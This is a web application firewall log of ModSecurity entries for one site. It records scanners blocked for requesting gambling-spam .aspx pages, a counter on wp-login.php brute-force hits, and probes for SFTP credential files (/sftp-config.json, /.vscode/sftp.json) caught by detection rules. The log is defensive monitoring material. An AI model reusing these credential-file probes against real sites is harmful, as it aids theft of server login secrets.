[Tue Feb 03 03:21:18.394723 2026] [:error] [pid 63032:tid 63070] [client 88.134.110.36:41425] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYD5LnyEQ1PkpebvdRg0OwAAAAc"]
[Tue Feb 03 06:49:39.674904 2026] [:error] [pid 42920:tid 42951] [client 43.166.128.187:36944] [client 43.166.128.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYEqAyix3YKltG4EU0mjHwAAABY"]
[Tue Feb 03 11:55:05.563089 2026] [:error] [pid 28720:tid 28745] [client 54.37.252.229:46108] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYFxmWmRXm2bmr_sYiZDGwAAARc"]
[Tue Feb 03 11:55:08.062009 2026] [:error] [pid 5148:tid 5154] [client 54.37.252.229:35042] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYFxnL83HCHLtUIbS7I_vgAAAUM"]
[Tue Feb 03 11:55:10.613677 2026] [:error] [pid 42921:tid 42982] [client 54.37.252.229:35044] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYFxnoblShffGl-01of0fQAAAFg"]
[Tue Feb 03 11:55:13.750793 2026] [:error] [pid 5148:tid 5174] [client 54.37.252.229:35056] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYFxob83HCHLtUIbS7I_xAAAAVc"]
[Tue Feb 03 11:55:17.047708 2026] [:error] [pid 5148:tid 5166] [client 54.37.252.229:35062] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYFxpb83HCHLtUIbS7I_ywAAAU8"]
[Tue Feb 03 11:55:20.400369 2026] [:error] [pid 5229:tid 5246] [client 54.37.252.229:41976] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYFxqEKmEgmJub93yUoqMwAAAY8"]
[Tue Feb 03 11:55:23.901146 2026] [:error] [pid 42921:tid 42966] [client 54.37.252.229:41978] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYFxq4blShffGl-01of0hwAAAEg"]
[Tue Feb 03 11:55:27.609850 2026] [:error] [pid 43028:tid 43049] [client 54.37.252.229:51932] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYFxr1nHWnJD4cJC5DsIkAAAANM"]
[Tue Feb 03 11:55:30.400175 2026] [:error] [pid 28720:tid 28723] [client 54.37.252.229:51934] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYFxsmmRXm2bmr_sYiZDLQAAAQE"]
[Tue Feb 03 11:55:33.487807 2026] [:error] [pid 5148:tid 5172] [client 54.37.252.229:51948] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYFxtb83HCHLtUIbS7I_3AAAAVU"]
[Tue Feb 03 11:55:37.181217 2026] [:error] [pid 43028:tid 43052] [client 54.37.252.229:51958] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYFxuVnHWnJD4cJC5DsIlAAAANY"]
[Tue Feb 03 11:55:40.076342 2026] [:error] [pid 43028:tid 43050] [client 54.37.252.229:42980] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYFxvFnHWnJD4cJC5DsIlgAAANQ"]
[Tue Feb 03 11:55:43.144313 2026] [:error] [pid 42920:tid 42930] [client 54.37.252.229:42988] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYFxvyix3YKltG4EU0n-iAAAAAE"]
[Tue Feb 03 11:55:46.333533 2026] [:error] [pid 5148:tid 5175] [client 54.37.252.229:42990] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYFxwr83HCHLtUIbS7I_6gAAAVg"]
[Tue Feb 03 11:55:49.376417 2026] [:error] [pid 5148:tid 5166] [client 54.37.252.229:49346] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYFxxb83HCHLtUIbS7I_7QAAAU8"]
[Tue Feb 03 11:55:52.491759 2026] [:error] [pid 5148:tid 5169] [client 54.37.252.229:49362] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYFxyL83HCHLtUIbS7I_8gAAAVI"]
[Tue Feb 03 11:55:55.573185 2026] [:error] [pid 5148:tid 5151] [client 54.37.252.229:49370] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYFxy783HCHLtUIbS7JACQAAAUA"]
[Tue Feb 03 11:55:58.943405 2026] [:error] [pid 42922:tid 42992] [client 54.37.252.229:37984] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYFxzmazX4WPS_dQRkgVfAAAAIc"]
[Tue Feb 03 11:56:01.724223 2026] [:error] [pid 5148:tid 5159] [client 54.37.252.229:37994] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYFx0b83HCHLtUIbS7JAFgAAAUg"]
[Tue Feb 03 12:49:37.559193 2026] [:error] [pid 28720:tid 28745] [client 49.51.52.250:54168] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYF-YWmRXm2bmr_sYiZRRAAAARc"]
[Tue Feb 03 19:01:31.810337 2026] [:error] [pid 5229:tid 5254] [client 185.194.178.42:44125] [client 185.194.178.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.42, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYHVi0KmEgmJub93yUrUkQAAAZc"]
[Tue Feb 03 19:32:59.605199 2026] [:error] [pid 42922:tid 42986] [client 103.65.236.149:60878] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aYHc62azX4WPS_dQRkiD9AAAAIE"]
[Tue Feb 03 19:32:59.926782 2026] [:error] [pid 42920:tid 42942] [client 103.65.236.149:60966] [client 103.65.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aYHc6yix3YKltG4EU0luJAAAAA0"]
[Tue Feb 03 19:59:27.318342 2026] [:error] [pid 42920:tid 42943] [client 147.135.252.177:42248] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYHjHyix3YKltG4EU0l0zAAAAA4"]
[Tue Feb 03 19:59:30.564337 2026] [:error] [pid 43028:tid 43048] [client 147.135.252.177:45440] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYHjIlnHWnJD4cJC5DuNkwAAANI"]
[Tue Feb 03 19:59:33.370885 2026] [:error] [pid 5229:tid 5242] [client 147.135.252.177:45444] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYHjJUKmEgmJub93yUroEAAAAYs"]
[Tue Feb 03 19:59:36.615025 2026] [:error] [pid 5148:tid 5171] [client 147.135.252.177:49638] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYHjKL83HCHLtUIbS7LUkAAAAVQ"]
[Tue Feb 03 19:59:39.415049 2026] [:error] [pid 43028:tid 43042] [client 147.135.252.177:49648] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYHjK1nHWnJD4cJC5DuNqAAAAMw"]
[Tue Feb 03 19:59:42.602457 2026] [:error] [pid 42921:tid 42968] [client 147.135.252.177:49662] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYHjLoblShffGl-01odotwAAAEo"]
[Tue Feb 03 19:59:45.470900 2026] [:error] [pid 42922:tid 42986] [client 147.135.252.177:47322] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYHjMWazX4WPS_dQRkiKhwAAAIE"]
[Tue Feb 03 19:59:48.373155 2026] [:error] [pid 5148:tid 5157] [client 147.135.252.177:47338] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYHjNL83HCHLtUIbS7LUmgAAAUY"]
[Tue Feb 03 19:59:51.191296 2026] [:error] [pid 43028:tid 43052] [client 147.135.252.177:47344] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYHjN1nHWnJD4cJC5DuNvwAAANY"]
[Tue Feb 03 19:59:54.253259 2026] [:error] [pid 28720:tid 28745] [client 147.135.252.177:40188] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYHjOmmRXm2bmr_sYibAGwAAARc"]
[Tue Feb 03 19:59:57.053520 2026] [:error] [pid 42922:tid 42987] [client 147.135.252.177:40198] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYHjPWazX4WPS_dQRkiKkwAAAII"]
[Tue Feb 03 19:59:59.978879 2026] [:error] [pid 42922:tid 43008] [client 147.135.252.177:40210] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYHjP2azX4WPS_dQRkiKlwAAAJc"]
[Tue Feb 03 20:00:02.811479 2026] [:error] [pid 42920:tid 42953] [client 147.135.252.177:40222] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYHjQiix3YKltG4EU0l0-wAAABg"]
[Tue Feb 03 20:00:05.444649 2026] [:error] [pid 5148:tid 5156] [client 147.135.252.177:49140] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYHjRb83HCHLtUIbS7LUsAAAAUU"]
[Tue Feb 03 20:00:08.113769 2026] [:error] [pid 28720:tid 28741] [client 147.135.252.177:49150] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYHjSGmRXm2bmr_sYibANQAAARM"]
[Tue Feb 03 20:00:10.763624 2026] [:error] [pid 42921:tid 42974] [client 147.135.252.177:49154] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYHjSoblShffGl-01odo2AAAAFA"]
[Tue Feb 03 20:00:13.448745 2026] [:error] [pid 5148:tid 5156] [client 147.135.252.177:49168] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYHjTb83HCHLtUIbS7LUuAAAAUU"]
[Tue Feb 03 20:33:02.140497 2026] [:error] [pid 5229:tid 5252] [client 147.135.212.151:57830] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYHq_kKmEgmJub93yUrzFAAAAZU"]
[Tue Feb 03 20:33:04.870878 2026] [:error] [pid 28720:tid 28722] [client 147.135.212.151:46822] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYHrAGmRXm2bmr_sYibJWgAAAQA"]
[Tue Feb 03 20:33:07.526389 2026] [:error] [pid 42922:tid 43004] [client 147.135.212.151:46832] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYHrA2azX4WPS_dQRkiT8gAAAJM"]
[Tue Feb 03 20:33:10.330763 2026] [:error] [pid 28720:tid 28727] [client 147.135.212.151:44894] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYHrBmmRXm2bmr_sYibJaAAAAQU"]
[Tue Feb 03 20:33:12.893291 2026] [:error] [pid 42920:tid 42947] [client 147.135.212.151:44896] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYHrCCix3YKltG4EU0l9NQAAABI"]
[Tue Feb 03 20:33:15.848825 2026] [:error] [pid 5148:tid 5159] [client 147.135.212.151:44908] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYHrC783HCHLtUIbS7LfIAAAAUg"]
[Tue Feb 03 20:33:18.623712 2026] [:error] [pid 42920:tid 42943] [client 147.135.212.151:45472] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYHrDiix3YKltG4EU0l9PwAAAA4"]
[Tue Feb 03 20:33:21.218865 2026] [:error] [pid 5148:tid 5164] [client 147.135.212.151:45486] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYHrEb83HCHLtUIbS7LfKQAAAU0"]
[Tue Feb 03 20:33:23.962487 2026] [:error] [pid 42920:tid 42936] [client 147.135.212.151:45490] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYHrEyix3YKltG4EU0l9TgAAAAc"]
[Tue Feb 03 20:33:26.739725 2026] [:error] [pid 42922:tid 43006] [client 147.135.212.151:45496] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYHrFmazX4WPS_dQRkiUIwAAAJU"]
[Tue Feb 03 20:33:29.500515 2026] [:error] [pid 5229:tid 5236] [client 147.135.212.151:38360] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYHrGUKmEgmJub93yUrzTwAAAYU"]
[Tue Feb 03 20:33:32.137750 2026] [:error] [pid 5148:tid 5170] [client 147.135.212.151:38366] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYHrHL83HCHLtUIbS7LfOwAAAVM"]
